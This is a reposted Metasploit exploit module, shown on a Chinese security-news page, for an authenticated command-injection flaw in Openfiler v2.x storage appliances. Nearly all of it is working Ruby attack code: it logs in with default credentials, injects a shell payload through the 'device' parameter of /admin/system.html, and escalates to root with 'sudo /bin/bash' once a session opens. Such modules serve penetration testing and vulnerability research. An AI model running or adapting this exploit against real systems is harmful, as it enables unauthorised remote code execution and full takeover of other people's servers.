首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Openfiler v2.x NetworkCard Command Execution
来源:http://www.metasploit.com 作者:Coles 发布时间:2012-09-11  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Openfiler v2.x NetworkCard Command Execution",
   'Description'    => %q{
    This module exploits a vulnerability in Openfiler v2.x
    which could be abused to allow authenticated users to execute arbitrary
    code under the context of the 'openfiler' user. The 'system.html' file
    uses user controlled data from the 'device' parameter to create a new
    'NetworkCard' object. The class constructor in 'network.inc' calls exec()
    with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
    providing a system password.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
    ],
   'References'     =>
    [
     ['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/']
     #['OSVDB', ''],
     #['EDB',   ''],
    ],
   'DefaultOptions'  =>
    {
     'ExitFunction' => 'none'
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'       => 1024,
     'BadChars'    => "\x00",
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic telnet python perl bash',
      }
    },
   'Targets'        =>
    [
     ['Automatic Targeting', { 'auto' => true }]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Sep 04 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(446),
    OptBool.new('SSL', [true, 'Use SSL', true]),
    OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']),
    OptString.new('PASSWORD', [true, 'The password for the application', 'password'])
   ], self.class)
 end

 def check

  @peer = "#{rhost}:#{rport}"

  # retrieve software version from login page
  print_status("#{@peer} - Sending check")
  begin
   res = send_request_cgi({
    'uri' => '/'
   })

   if    res and res.code == 200 and res.body =~ /<strong>Distro Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
    return Exploit::CheckCode::Appears
   elsif res and res.code == 200 and res.body =~ /<title>Openfiler Storage Control Center<\/title>/
    return Exploit::CheckCode::Detected
   end

  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   print_error("#{@peer} - Connection failed")
  end
  return Exploit::CheckCode::Unknown

 end

 def on_new_session(client)
  client.shell_command_token("sudo /bin/bash")
 end


 def exploit

  @peer = "#{rhost}:#{rport}"
  user  = datastore['USERNAME']
  pass  = datastore['PASSWORD']
  cmd   = Rex::Text.uri_encode("&#{payload.raw}&")

  # send payload
  print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
  begin
   res = send_request_cgi({
    'uri'    => "/admin/system.html?step=2&device=lo#{cmd}",
    'cookie' => "usercookie=#{user}; passcookie=#{pass};",
   }, 25)
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   fail_with(Exploit::Failure::Unknown, 'Connection failed')
  end

  if    res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/
   print_good("#{@peer} - Payload sent successfully")
  elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/
   fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
  else
   fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
  end

 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WAN Emulator v2.3 Command Exec
·Oracle VM VirtualBox 4.1 Local
·WIS Coldfusion Exploit
·ActiveFax (ActFax) 4.3 Client
·Sflog! CMS 1.0 Arbitrary File
·CAS Modbus RTU Parser Buffer O
·Winamp MAKI Buffer Overflow
·TP-LINK TL-WR340G Denial Of Se
·Internet Download Manager All
·Symantec Messaging Gateway 9.5
·Internet Download Manager All
·HP SiteScope Remote Code Execu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved